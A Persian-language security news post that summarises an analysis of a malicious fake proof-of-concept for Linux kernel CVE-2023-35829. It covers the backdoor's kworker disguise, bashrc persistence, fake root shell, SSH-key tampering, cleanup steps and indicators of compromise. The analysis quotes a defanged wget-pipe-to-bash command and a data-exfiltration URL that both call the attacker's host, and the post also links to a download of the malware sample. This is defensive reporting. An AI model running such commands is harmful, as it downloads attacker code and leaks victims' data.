Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • انتشار بدافزار با POC جعلی CVE-2023-35829 + فایل نمونه
  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید

انتشار بدافزار با POC جعلی CVE-2023-35829 + فایل نمونه

On تیر 29, 1402
seyyid
Share
زمان مطالعه: 6 دقیقه

محققای امنیتی برای تست بی خطر آسیب پذیری ها ،متکی به POC ها هستن. اخیرا بازیگران تهدید با انتشار PoCهای آلوده ، اقدام به توزیع بدافزار میکنن. در حقیقت این PoC ها ، گرگی در لباس میش هستن. حدود یک ماه پیش هم از این تکنیک برای توزیع بدافزار استفاده کرده بودن.

محققای Uptycs اخیرا یه نمونه از این PoCها رو پیدا کردن که در این پست به بررسی اون پرداختیم. متاسفانه این اکسپلویت در کانالهای ایرانی هم توزیع شده.

 

مشاهده PoC جعلی :

محققا در حال تست یه PoC برای آسیب پذیری حیاتی CVE-2023-35829 بودن که متوجه رفتار عجیب اون شدن. این آسیب پذیری از نوع use-after-free هستش و در کرنل لینوکس نسخه های قبل از 6.3.2 وجود داره.

رفتار عجیبی که مشاهده شده این بود که یسری اتصالات غیرمنتظره داشته، داده انتقال میداده و دسترسی غیرمجاز به سیستم داشته. با بررسی بیشتر متوجه مشکوک بودن فایل aclocal.m4 شدن.

 

poc جعلی

 

فایل aclocal.m4 معمولا بخشی از automake هستش و توسط autoconf برای ادغام ماکروها استفاده میشه و معمولا یه فایل اجرایی elf نیست. شکل زیر نشون دهنده ساختار make و src/aclocal.m4 رو نشون میده .

 

make مشکوک

 

ادامه تحقیق روی آنالیز این فایل اجرایی تمرکز داره. در حقیقت مهاجم از سورس کد بدافزارش میسازه و اجرا میکنه.

 

 

آنالیز بدافزار :

برای آنالیز از Ghidra استفاده کردن . تابع main با رشته جالب kworker شروع شده.

 

آنالیز aclocal.m4

 

خط 79 بررسی میکنه که آیا اسم باینری kworker هستش یا نه . اگه درست باشه به خط 84 میره اما اگه درست نباشه، دو تا تابع copy_to_kworker و add_to_bashrc اجرا میشن. این دوتا تابع برای پرسیست و مخفی کردن فعالیت بدافزار اجرا میشن، اولی بدافزار رو به مسیر “HOME/.local/kworker$” کپی میکنه و دومی مسیر اونو داخل فایل “HOME/.bashrc$” اضافه میکنه.

در ادامه تابع check_for_pidfile اجرا میشه که هدفش اینه که بررسی کنه تا چندین نمونه از بدافزار بطور همزمان اجرا نشن. شکل زیر محتوای این تابع رو نشون میده .

 

تابع check_for_pidfile

 

این تابع در ابتدا مسیر “/tmp/.ICE-unix.pid” رو بررسی میکنه، اگه هیچ تابعی از flock(2) برای محدود کردن دسترسی به فایل استفاده نشده باشه، PID پروسس فعلی رو مینویسه. اگه تابع main مقدار صفر رو برگردونه، که نشون دهنده منحصر به فرد بودن پروسس هستش و برنامه به اجراش ادامه میده. اگه فرض کنیم همه چیز اوکی هستش به ادامه تابع main برگردیم :

 

ادامه تابع main

 

با فورک کردن برنامه، رشته جدید [kworker/8:3] برای مبهم کردن پارامترهای اصلی کامندلاین در تابع main ایجاد میشه. در ادامه، پروسس والد تابع curl_func رو اجرا میکنه که یه URL مبهم رو با استفاده از کتابخونه libcurl دانلود میکنه. URL دانلودی در زیر مشخص شده که یه اسکریپت Bash هستش که بعد از دانلود موفق ، اجرا میشه.

 

1
hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php

 

کتابخونه libcurl امکان دسترسی به curl رو بصورت برنامه نویسی شده میده و میشه بصورت مستقیم در باینری اینکلودش کرد (کامپایل استاتیک) یا بصورت داینامیک فراخونیش کرد.

شکل زیر نشون دهنده تابع curl_func هستش .

 

تابع curl_func

 

شکل زیر هم بخشی از تابع curl_func رو نشون میده که اسکریپت Bash رو دانلود میکنه.

 

بخش دانلود اسکریپت در تابع curl_func

 

متغیر s% با درخواست Curl جایگزین میشه که در نهایت دستور زیر توسط kworker اجرا میشه :

 

1
sh -c wget -q -O - http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null

 

PoC قدیمی :

این PoC جعلی از روی یه PoC قدیمی قانونی برای آسیب پذیری CVE-2022-34918 که مربوط به کرنل لینوکس بود ساخته شده. جوری هم ساختن که خیلی شبیه به هم هستن اما در مواردی بخصوص در modprobe.c شاهد تفاوتهایی هستیم.

تابع new_sn در modprobe.c جعلی، یه حافظه ای رو تخصیص میده بعدش یه فایلی رو باز میکنه، اگه فایل با موفقیت باز بشه، اونو میبنده، یه عدد تصادفی ایجاد میکنه و اجرای برنامه رو به اندازه این عدد تصادفی متوقف میکنه.

 

تفاوت بین نسخه جعلی و قدیمی

 

در ادامه تابع prepare_root_shell یسری رشته رو چاپ میکنه و بعدش تابع setup_modprobe_payoad رو براساس شرط if اجرا میکنه . در نهایت با کد وضعیت 0 خارج میشه.

 

تابع prepare_root_shell

 

تابع setup_modprobe_payoad مقداری رو به متغیر filename اختصاص میده و بعدش دستور /bin/sh رو برای باز کردن یه shell جدید اجرا میکنه. بعدش حافظه اختصاص داده شده به filename رو free میکنه.

 

تابع setup_modprobe_payoad

 

در کل PoC جعلی، برای یه مدت تصادفی متوقف میشه، یسری رشته قانونی چاپ میکنه و یه شل /bin/bash باز میکنه.

جالب اینکه وقتی whoami رو داخل این شل اجرا کنید، user ID رو بعنوان root گزارش میکنه. در حقیقت این root هم جعلی هستش. این با بررسی id در داخل و خارج PoC میشه فهمید. شکل زیر خروجی PoC جعلی هستش :

 

خروجی جعلی root داخل poc جعلی

 

خروجی زیر هم خارج از PoC هستش :

 

بررسی root خارج از poc

 

همونطور که در دو شکل بالا مشاهده میکنید، user namespace بین دو تا شل متفاوت هستش.

Linux kernel namespaces امکان جداسازی منابع سیستم رو میده. هر کدام از اونا یه محیط مستقل برای منابع خاص مانند PID ، اینترفیس شبکه، سیستم های فایل و … رو فراهم میکنن. چنین جداسازی به جلوگیری از تداخل کمک میکنه و سطحی از امنیت رو بین پروسس ها یا مولفه های در حال اجرا روی سیستم رو فراهم میکنه.

در اینجا PoC جعلی از مفهوم فضای نام برای ایجاد یه root shell تقلبی استفاده میکنه. بطور کلی، فضای نام کاربری رو که مسئول مدیریت شناسه کاربر و گروه در یه پروسس یا container هستش رو دستکاری میکنه اما در واقعیت، امتیازات اعطا شده به شل /bin/bash ،در یک فضای نام مشخص محدود شده هستش.

بطور خلاصه باینری در مرحله اول بعنوان یه دانلودر عمل میکنه و یه اسکریپت Bash رو از یه منبع راه دور دانلود و اجرا میکنه. این اسکریپت در ابتدا به  etc/passwd میخونه بعدش محتوای “ssh/authorized_keys./~” رو برای دسترسی غیرمجاز دستکاری میکنه تا بتونه به سیستم قربانی دسترسی بگیره و از curl برای استخراج داده های قربانی به transfer[.]sh استفاده میکنه. مثال زیر یه نمونه url برای استخراج داده ها هستش :

 

1
hxxp[:]//cunniloss[.]accesscam[.]org/term[.]php[?]term[=]hxxps[:]//transfer[.]sh/rnmWbQyyz8/<username>[.]txt

 

دامنه ای که در این کمپین استفاده شده، الان در دسترس نیست و بنابراین نمیشه تجزیه و تحلیلش کرد.

علاوه بر این PoC ، کاربر ChriSander22 هم یه PoC جعلی دیگه برای VMware Fusion CVE-2023-20871 قرار داده که محتویاتش مشابه PoC جعلی هستش که در این مقاله بررسی شده و حاوی aclocal.m4 هستش که بکدور نصب میکنه. هر دو مخزن ChriSander22 دیگه الان نیستن و معلوم نیست که گیتهاب اونو حذف کرده یا مالک.

 

poc جعلی CVE-2023-20871

 

صفحه گیتهاب جعلی ChriSander22

 

شکل زیر هم یه نمونه دیگه از یه صفحه گیتهاب جعلی رو نمایش میده :

 

صفحه جعلی گیت هاب

 

روش پاکسازی :

متاسفانه همه PoCهایی که در این گزارش اومده در کانالهای ایرانی هم منتشر شده و خیلیا حتی لایکشم کردن. بنابراین اگه از این PoCها استفاده کردید و سیستمتون آلوده شده، برای پاکسازی اون مراحل زیر انجام بدید :

  • کلیدهای SSH غیرمجاز رو پاک کنید.
  • فایل kworker رو پاک کنید.
  • مسیر فایل kworker  رو از داخل فایل bashrc حذف کنید.
  • محتوای /tmp/.iCE-unix.pid رو برای تهدیدات احتمالی بررسی کنید.

 

در نهایت تشخیص PoC جعلی از اصلی سخته و چالش برانگیزه، اگه نمیتونید کدها رو بررسی کنید، حداقل از یه محیط ایزوله مانند ماشین های مجازی برای تست PoCها استفاده کنید.

 

فایل نمونه :

برای دانلود فایل aclocal.m4 ، از صفحه گیتهاب ما دیدن نمایید.

 

iocهای گزارش :

صفحه گیتهاب pocهای جعلی :

https://github.com/ChriSanders22/CVE-2023-35829-poc/

https://github.com/ChriSanders22/CVE-2023-20871-poc/

https://github.com/apkc/CVE-2023-35829-poc

 

aclocal.m4 :

caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c

URLs:

hxxp[:]//cunniloss[.]accesscam[.]org
hxxp[:]//transfer[.]sh
IP 81[.]4[.]109[.]16

 

منبع

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آنالیز بدافزار اخبار بازیگران تهدیدIn Ghidra , libcurl , Linux kernel namespaces , PoC

راهبری نوشته

بهترین محققین امنیتی مایکروسافت برای سه ماهه دوم 2023
درگذشت آقای Kevin Mitnick در سن 59 سالگی

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • مقالات
seyyid
On خرداد 22, 1402

بررسی آسیب پذیری CVE-2023-28299 در Microsoft Visual Studio

  • اخبار
  • امنیت وب
  • باگ بانتی
seyyid
On اسفند 2, 1401فروردین 28, 1402

یادگیری API Hacking با VAmPI

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
seyyid
On دی 12, 1402دی 12, 1402

آسیب پذیری CVE-2023-51385 روی OpenSSH

  • آنالیز بدافزار
  • اخبار
seyyid
On بهمن 25, 1401فروردین 28, 1402

نگاهی به ویروس ILOVEYOU

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404